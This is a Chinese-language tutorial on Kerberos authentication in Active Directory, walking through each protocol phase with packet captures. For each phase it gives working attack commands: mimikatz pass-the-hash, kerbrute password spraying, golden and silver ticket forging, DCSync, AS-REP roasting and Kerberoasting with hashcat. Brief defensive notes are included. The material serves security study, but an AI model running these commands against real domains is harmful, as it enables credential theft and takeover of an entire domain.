概念
krbtgt用戶,是系統在創建域時自動生成的一個帳號,其作用是密鑰分發中心的服務帳號,其密碼是系統隨機生成的,無法登錄主機
【----幫助網安學習,需要網安學習資料關注我,私信回復「資料」免費獲取----】
① 網安學習成長路徑思維導圖
② 60+網安經典常用工具包
③ 100+SRC漏洞分析報告
④ 150+網安攻防實戰技術電子書
⑤ 最權威CISSP 認證考試指南+題庫
⑥ 超1800頁CTF實戰技巧手冊
⑧ APP客戶端安全檢測指南(安卓+IOS)
windows密碼Hash圖解如下
AS-REQ
AS-REQ:當域內某個用戶試圖訪問域中的某個服務,輸入用戶名和密碼,本機的Kerberos服務向KDC的AS認證服務發送一個AS-REQ認證請求,請求中包含:請求的用戶名、客戶端主機名、加密類型和Authenticator(用戶NTML Hash加密的時間戳)以及其他的一些信息
wireshark抓包分析
req-body詳細請求包
pvno:kerberos版本號,這裡為5
msg-type:消息類型,AS_REQ對應的是krb-as-req(10)
padata:主要是一些認證信息,每個認證消息有type和value
PADA PA-ENC-TIMESTAMP:預認證,用用戶hash加密時間戳,作為value發送給AS伺服器,AS伺服器擁有用戶hash,使用用戶hash進行解密,獲得時間戳,如果能解密,且時間戳在一定的範圍內,則證明認證通過。由於用戶密碼是hash加密,所以能夠利用hash傳遞
padata-type:padata類型,這裡是KRB5-PADATA-ENC-TIMESTAMP(2)
padata-value:padata的值
etype:padata類型,這裡是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
cipher:密鑰
PADA PA-PAC-REQUEST:啟用PAC支持的擴展。PAC並不在原生的kerberos裡面,是微軟引進的拓展。PAC包含在相應包AS_REP中,這裡的value對應的值為True或False,KDC根據include的值來確定返回的票據中是否需要攜帶PAC
padata-type:padata類型,這是eTYPE-AES256-CTS-HMAC-SHA1-96(18)
padata-value:padata的值
include-PAC:是否包含PAC,這裡為True
req-body:請求body
padding:填充,這裡為0
kdc-options:用於與KDC預定一些選項設置
cname:客戶端用戶名,這個用戶名存在和不存在,返回的包有差異,可以用於枚舉域內用戶名,PrincipalName類型,包含type和Value
name-type:名字類型,這裡是KRB5-NT-PRINCIPAL(1)
cname-string:名字,也就是請求的用戶名
CNameString:請求的用戶名,這裡為mars2
realm:域名,這裡為DRUNKMARS0
sname:服務端用戶名,PrincipalName類型,包含type和value,在AS-REQ裡面snames為krbtgt
SNameString:這裡是用戶名 krbtgt
SNameString:這裡是域名 DRUNKMARS0
till:到期時間,rubeus和kekeo都是20370913024805Z,這個可以作為特徵來檢測工具
rtime:到期時間
nonce:隨機生成的一個數,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,這個也可以用來作為特徵檢測工具
etype:加密類型,這裡有6個items
address:客戶端的請求地址,也就是客戶端的主機名
HostAddress MESSI-PC<20>
ddr-type:地址類型,這裡是nETBIOS(20)
NetBIOS Name:MESSI-PC<20> (Server service)
net config workstation 查看域內信息
AS-REQ過程中的攻擊方式
hash傳遞
msf進行hash傳遞
只適用於域環境,並且目標主機需要安裝 KB2871997補丁
mimikatz進行hash傳遞
這裡mimikatz獲取到hash之後不能複製粘貼,這時可以將獲取到的hash導出到log日誌中,命令如下
mimikatz log privilege::debug sekurlsa::ekeys
抓取sid為500的administrator的ntlm哈希
privilege::debug
sekurlsa::logonpasswords
執行命令
sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c
KB2871997
安裝KB2871997這個補丁之後,只能用sid為500的管理員帳戶進行pass hash
PTK(pass the key)
獲取aes-key:
privilege::debug
sekurlsa::ekeys
注入aes-key:
sekurlsa::pth /user:administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2
域內用戶枚舉
使用kerbrute工具:
https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe
前提需要DC需要開啟kerberos 88埠
準備用戶名保存為txt
使用以下命令
kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt
使用kerbrute進行錯誤枚舉的原理就是kerberos有三種錯誤代碼:
KDC_ERR_PREAUTH_REQUIRED-需要額外的預認證(啟用)
KDC_ERR_CLIENT_REVOKED-客戶端憑證已被吊銷(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos資料庫中找不到客戶端(不存在)
在DC抓包可以看到有4個UNKNOWN,1個REQUIRED,證明有這個用戶名存在
密碼噴灑
當用戶名存在,密碼正確和錯誤返回的包是不相同的,所以知道用戶名的情況下可以用一個相同的密碼去爆破用戶,這種針對所有用戶的自動密碼猜測是為了防止帳戶被鎖定,因為針對同一個用戶連續密碼猜測很容易導致帳戶被鎖。所以只有對所有用戶同時執行特定的密碼進行嘗試,才能增加破解的概率,消除帳號被鎖定的可能
使用以下命令
kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519..
密碼同樣存在三種錯誤代碼
KDC_ERR_PREAUTH_REQUIRED-需要額外的預認證(啟用)
KDC_ERR_CLIENT_REVOKED-客戶端憑證已被吊銷(禁用)
KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos資料庫中找不到客戶端(不存在)
同樣在DC抓包,有4個UNKNOWN,1個REQUIRED
AS-REP
AS-REP:當KDC接受到請求之後,通過AD活動目錄查詢得到該用戶的密碼hash,用該密碼hash對請求包的Authenticator進行解密,如果解密成功,則證明請求者提供的密碼正確,而且需要時間戳範圍在五分鐘內,且不是重放,則域認證成功。KAS成功認證對方的身份之後,發送相應包給客戶端,響應包中主要包括krbtgt用戶的NTLM hash加密後的TGT認購權證(即ticket這部分)和用戶NTLM hash加密的Login Session key(即最外層enc-part這部分)以及一些其他信息。該Login Session key的作用是用於確保客戶端和KDC下階段之間通信安全。最後TGT認購權證,加密的Login Session Key、時間戳和PAC等信息會發送給客戶端。PAC中包含用戶的SID,用戶所在的組等一些信息。
在enc-part裡面最重要的欄位就是Login session key,作為下階段的認證密鑰
AS-REP中最核心的東西就是Login session-key 和加密的 ticket。正常我們用工具生成的憑據是.ccache和.kirbi後綴的,用mimikatz,kekeo,rebeus生成的憑據是.kirbi後綴的,impacket生成的憑據是.ccache,兩種票據主要包含的都是Login session-key 和加密的 ticket,因此可以相互轉換
AS-REP中的攻擊方式
黃金票據
使用mimikatz
先獲取krbtgt hash
DC執行
mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:
獲得如下信息
sid:S-1-5-21-652679085-3170934373-4288938398-502
ntlm hash:c1833c0783cfd81d3548dd89b017c99a
aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50
偽造administrator執行(aes256)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi"
偽造administrator執行(krbtgt hash)生成gold.kirbi
mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi"
導入golden.kirbi,執行命令
kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi
查看本地緩存,發現憑據成功導入
kerberos::list
打開新的cmd,用klist查看憑證
dir連接過去,注意這裡必須要主機名,不能夠用IP連接
這裡有一個坑,必須要管理員權限開cmd,不然也會顯示拒絕訪問
看下權限,處於Domain Users組
查看所有組
net group /do
查看Domain Controllers組,這裡我在域用戶機器上可以查看是因為我導入了金票,實際上這個命令只能在DC上才能查看
net group "Domain Controllers" /do
刪除憑據
kerberos::purge
使用impacket
使用kali,不在域內需要把dns改向域控
先生成票據administrator.ccache
python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator
導入票據
export KRB5CCNAME=administrator.ccache
然後訪問域控
python3 SMBexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com
AS-REP Roasting
在AS-REP階段,最外層的enc-part是用戶密碼hash加密的。對於域用戶,如果設置了"Do not require Kerberos preauthentication",此時向域控的88埠發送AS-REP內容(enc-part底下的ciper,因為這部分是使用用戶hash加密的Login Session Key,通過離線爆破就可以獲得用戶hash)重新組合,能夠拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下來可以通過hashcat對其破解,最終獲得明文密碼,這就構成了AS-REP Roasting攻擊
默認這個功能是不啟用的,如果啟用AS-REP會返回用戶hash加密的sessionkey-as,這樣我們就能夠用john離線破解
使用Empire下的powerview.ps1查找域中設置了"不需要kerberos預認證"的用戶
Import-Module .\powerview.ps1
Get-DomainUser -PreauthNotRequired
使用ASREPRoast.ps1獲取AS-REP返回的hash
Import-Module .\ASREPRoast.ps1
Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt
修改為hashcat能識別的格式,在$krb5asrep後面添加$23拼接
hashcat -m 18200 hash.txt pass.txt --force
TGS-REQ
經過上面的步驟,客戶端獲得了 TGT認購權證 和 Login Session Key。然後用自己的密碼NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然後它會在本地緩存此 TGT認購權證 和 原始的Login Session Key。如果現在它需要訪問某台伺服器的某個服務,它就需要憑藉這張TGT認購憑證向KDC購買相應的入場券ST服務票據(Service Ticket)。ST服務票據是通過KDC的另一個服務 TGS(Ticket Granting Service)出售的。在這個階段,微軟引入了兩個擴展自協議 S4u2self 和 S4u2Proxy(當委派的時候,才用的到)
TGS-REQ:客戶端向KDC購買針對指定服務的ST服務票據請求,該請求主要包含如下的內容:客戶端信息、Authenticator(Login Session Key加密的時間戳)、TGT認購權證(padata下ap-req下的ticket) 和 訪問的服務名以及一些其他信息
TGS-REP
TGS-REP:TGS接收到請求之後,首先會檢查自身是否存在客戶端所請求的服務。如果服務存在,則通過 krbtgt 用戶的NTLM Hash 解密TGT並得到Login Session Key,然後通過Login Session Key解密Authenticator,如果解密成功,則驗證了對方的真實身份,同時還會驗證時間戳是否在範圍內。並且還會檢查TGT中的時間戳是否過期,且原始地址是否和TGT中保存的地址相同。
在完成上述的檢測後,如果驗證通過,則TGS完成了對客戶端的認證,會生成一個用Logon Session Key加密後的用於確保客戶端-伺服器之間通信安全的Service Session Key會話秘鑰(也就是最外層enc-part部分)。並且會為該客戶端生成ST服務票據。ST服務票據主要包含兩方面的內容:客戶端用戶信息 和 原始Service Session Key,整個ST服務票據用該服務的NTLM Hash進行加密。
最終Service Session Key 和 ST服務票據發送給客戶端。(這一步不管用戶有沒有訪問服務的權限,只要TGT正確,就都會返回ST服務票據,這也是kerberoasting能利用的原因,任何一個用戶,只要hash正確,就可以請求域內任何一個服務的ST票據)
enc-part:這部分是用請求服務的密碼Hash加密的。因此如果我們擁有服務的密碼Hash,那麼我們就可以自己製作一個ST服務票據,這就造成了白銀票據攻擊。也正因為該票據是用請求服務的密碼Hash加密的,所以當我們得到了ST服務票據,可以嘗試爆破enc_part,來得到服務的密碼Hash。這也就造成了kerberoast攻擊。
TGS-REP過程中的攻擊方式
何為SPN
SPN(ServicePrincipal Names)服務主體名稱,是服務實例(比如:HTTP、SMB、MySQL等服務)的唯一標識符。
Kerberos認證過程使用SPN將服務實例與服務登錄帳戶相關聯,如果想使用 Kerberos 協議來認證服務,那麼必須正確配置SPN。如果在整個林或域中的計算機上安裝多個服務實例,則每個實例都必須具有自己的SPN。如果客戶端可能使用多個名稱進行身份驗證,則給定服務實例可以具有多個SPN。SPN始終包含運行服務實例的主機的名稱,因此服務實例可以為其主機的每個名稱或別名註冊SPN。一個用戶帳戶下可以有多個SPN,但一個SPN只能註冊到一個帳戶。在內網中,SPN掃描通過查詢向域控伺服器執行服務發現。這對於紅隊而言,可以幫助他們識別正在運行重要服務的主機,如終端,交換機等。SPN的識別是kerberoasting攻擊的第一步。
下面通過一個例子來說明SPN的作用:
當某用戶需要訪問MySQL服務時,系統會以當前用戶的身份向域控查詢SPN為MySQL的記錄。當找到該SPN記錄後,用戶會再次與KDC通信,將KDC發放的TGT作為身份憑據發送給KDC,並將需要訪問的SPN發送給KDC。KDC中的TGS服務對TGT進行解密。確認無誤後,由TGS將一張允許訪問該SPN所對應的服務的ST服務票據和該SPN所對應的服務的地址發送給用戶,用戶使用該票據即可訪問
MySQL服務。
SPN分為兩種類型:
1.是註冊在活動目錄的機器帳戶(Computers)下,當一個服務的權限為 Local System 或 Network Service,則SPN註冊在機器帳戶(Computers)下。域中的每個機器都會有註冊兩個SPN:HOST/主機名和 HOST/主機名.Drunkmars.com
2.是註冊在活動目錄的域用戶帳戶(Users)下,當一個服務的權限為一個域用戶,則SPN註冊在域用戶帳戶(Users)下
查看當前域內所有的SPN:
setspn -Q \* \*
查看指定域Drunkmars.com註冊的SPN:
setspn -T Drunkmars.com -Q \* \*
如果指定域不存在,則默認切換到查找本域的SPN
查找本域內重複的SPN:
setspn -X
刪除指定SPN:
setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack
查找指定用戶/主機名註冊的SPN:
setspn -L username/hostname
Kerberoast攻擊
Kerberoast攻擊過程:
1.攻擊者對一個域進行身份驗證,然後從域控制器獲得一個TGT認購權證,該TGT認購權證用於以後的ST服務票據請求
2.攻擊者使用他們的 TGT認購權證 發出ST服務票據請求(TGS-REQ) 獲取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中應該是唯一的,並且在用戶或計算機帳戶的servicePrincipalName 欄位中註冊。在服務票證請求(TGS-REQ)過程中,攻擊者可以指定它們支持的Kerberos加密類型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。
3.如果攻擊者的 TGT 是有效的,則 DC 將從TGT認購權證中提取信息並填充到ST服務票據中。然後,域控制器查找哪個帳戶在ServicedPrincipalName 欄位中註冊了所請求的 SPN。ST服務票據使用註冊了所要求的 SPN 的帳戶的NTLM哈希進行加密,並使用攻擊者和服務帳戶共同商定的加密算法。ST服務票據以服務票據回復(TGS-REP)的形式發送回攻擊者。
4.攻擊者從 TGS-REP 中提取加密的服務票證。由於服務票證是用連結到請求 SPN 的帳戶的哈希加密的,所以攻擊者可以離線破解這個加密塊,恢復帳戶的明文密碼。
首先是請求服務票據
1.Rubeus.exe請求
Rubeus裡面的kerberoast支持對所有用戶或者特定用戶執行kerberoasting操作,其原理在於先用LDAP查詢於內的spn,再通過發送TGS包,然後直接列印出能使用hashcat 或 john 爆破的Hash。以下的命令會列印出註冊於用戶下的所有SPN的服務票據的hashcat格式
Rubeus.exe kerberoast
2.powershell請求
#請求服務票據
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433"
#列出服務票據
klist
3.mimikatz請求
請求服務票據
kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433
列出服務票據
kerberos::list
清除所有票據
kerberos::purge
4.Impacket中的GetUserSPNS.py請求
該腳本可以請求註冊於用戶下的所有SPN的服務票據。使用該腳本需要提供域帳號密碼才能查詢。該腳本直接輸出hashcat格式的服務票據,可用hashcat直接爆破。
python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack
導出票據
首先是查看klist或mimikatz.exe "kerberos::list"
MSF裡面
load kiwi
kerberos_ticket_list
或
load kiwi
kiwi_cmd kerberos::list
1.mimikatz導出
mimikatz.exe "kerberos::list /export" "exit"
執行完後,會在mimikatz同目錄下導出 後綴為kirbi的票據文件
2.Empire下的Invoke-Kerberoast.ps1
Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat
離線破解服務票據
1.kerberoast中的tgsrepcrack.py
python2 tgsrepcrack.py password.txt xx.kirbi
2.hashcat
將導出的hashcat格式的哈希保存為hash.txt文件,放到hashcat的目錄下
hashcat -m 13100 hash.txt pass.txt
Kerberoast攻擊防範
確保服務帳號密碼為強密碼(長度、隨機性、定期修改)
如果攻擊者無法將默認的AES256_HMAC加密方式改為RC4_HMAC_MD5,就無法實驗tgsrepcrack.py來破解密碼。
攻擊者可以通過嗅探的方法抓取Kerberos TGS票據。因此,如果強制實驗AES256_HMAC方式對Kerberos票據進行加密,那麼,即使攻擊者獲取了Kerberos票據,也無法將其破解,從而保證了活動目錄的安全性。
許多服務帳戶在內網中被分配了過高的權限,且密碼強度較差。攻擊者很可能通過破解票據的密碼,從域用戶權限提升到域管理員權限。因此,應該對服務帳戶的權限進行適當的配置,並提高密碼的強度。
在進行日誌審計時,可以重點關注ID為4679(請求Kerberos服務票據)的時間。如果有過多的 4769 日誌,應進一步檢查系統中是否存在惡意行為。
白銀票據
在TGS-REP階段,TGS_REP裡面的ticket的enc-part是使用服務的hash進行加密的,如果我們擁有服務的hash,就可以給我們自己簽發任意用戶的TGS票據,這個票據也被稱為白銀票據。相較於黃金票據,白銀票據使用要訪問服務的hash,而不是krbtgt的hash,由於生成的是TGS票據,不需要跟域控打交道,但是白銀票票據只能訪問特定服務。但是要注意的一點是,偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDCPAC簽名,則銀票將不起作用
要創建白銀票據,我們需要知道以下信息:
- 要偽造的域用戶(這裡我們一般填寫域管理員帳戶)
- 域名
- 域的SID值(就是域成員SID值去掉最後的)
- 目標服務的FQDN
- 可利用的服務
- 服務帳號的NTLM哈希
這裡使用白銀票據偽造CIFS服務,該通常用於Windows主機之間的文件共享。
1.mimikatz獲得服務帳號的ntlm hash
privilege::Debug
sekurlsa::logonpasswords
得到ntlm為7c64e7ebf46b9515c56b2dd522d21c1c
2.使用白銀票據攻擊
kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt
3.查看票據
4.訪問域控
防禦:
偽造的白銀票據沒有帶有有效KDC簽名的PAC。如果將目標主機配置為驗證KDCPAC簽名,則銀票將不起作用。
黃金票據和白銀票據的不同點
訪問權限不同:
黃金票據Golden Ticket:偽造TGT認購權證,可以獲取任何Kerberos服務權限
白銀票據Silver Ticket:偽造ST服務票據,只能訪問指定的服務
加密方式不同:
Golden Ticket由krbtgt的Hash加密
Silver Ticket由服務帳號(通常為計算機帳戶)Hash加密
認證流程不同:
Golden Ticket的利用過程需要訪問域控,而Silver Ticket不需要
推薦實操:Kerberos網絡認證協議搭建與分析
PC端體驗地址:http://mrw.so/65TSBw
Kerberos協議最初是麻省理工學院(MIT)為其Athena項目開發的。本實驗主要介紹了windows server2003系統的域和DNS伺服器的搭建,通過本實驗的學習學會kerberos網絡認證協議搭建方式。